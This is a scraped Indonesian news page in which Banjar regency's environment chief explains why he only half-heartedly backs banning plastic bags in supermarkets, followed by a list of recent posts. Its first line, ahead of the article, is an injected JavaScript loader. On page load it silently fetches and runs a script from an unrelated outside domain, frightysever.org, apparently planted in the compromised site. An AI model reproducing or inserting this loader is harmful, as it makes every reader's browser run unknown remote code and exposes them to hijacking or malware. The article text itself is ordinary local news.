(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Masih Setengah Hati Larang Plastik di Supermarket


MARTAPURA, Dibanding Banjarbaru dan Banjarmasin yang sudah menerapkan pelarangan penggunaan kantong plastik di pusat perbelanjaan, Pemkab Banjar masih setengah hati. Kepala Dinas Lingkungan Hidup (DLH) Kabupaten Banjar Boyke Tristiyanto mengatakan, kebijakan tersebut tidak lepas dari langkah lanjutan dari kebijakan pemerintah pusat yang menerapkan kantong plastik berbayar beberapa tahun lalu. Dimana kebijakan tersebut disinyalir dapat mengurangi penggunaan kantong plastik.

Namun Boyke menilai, hal tersebut masih kurang efektif untuk diterapkan. Mengingat plastik yang dikendalikan hanya pada retailer namun tidak melarang penggunaan plastic pada pusat perbelanjaan tradisional.

“Pelarangan penggunaan plastic dipusat perbelanjaan modern? secara pribadi saya tidak setuju karena itu tidak signifikan. Saya masih setengah hati dan menurut saya hanya bikin repot orang saat berbelanja di minimarket,” akunya.

Menurut Boyke, larangan penggunaan plastik selain dapat mematikan industri plastik itu sendiri, sampah plastik sejatinya dapat diproses untuk didaur ulang. Mulai dari campuran aspal, campuran solar dan lainnya. Sehingga keberadaan kantong plastik tidak perlu dimusnahkan mengingat ada unsur-unsur pemanfaatkan lanjutan.

“Penggunaan plastik itu tidak perlu ditiadakan, plastik kan bisa saja dimanfaatkan untuk didaur ulang,” dalihnya.

Sebagai alternatif selain larangan penggunaan plastik, Boyke mengatakan ada solusi yang bagus untuk diterapkan seperti penggunaan plastik khusus berjenis SNI yang mudah terurai. Sehingga jenis plastik tersebut dapat diperdakan dan dapat digunakan di pusat perbelanjaan modern dan perbelanjaan tradisional sehingga dapat lebih efektif.

“Penggunaan plastik jangan dilarang sama sekali, sebagai solusi itu kan ada plastic yang mudah terurai, mengapa kita tidak menggunakan plastic jenis itu saja,” pungkasnya. (rendy)


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

6 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

6 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

8 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

10 jam ago

This website uses cookies.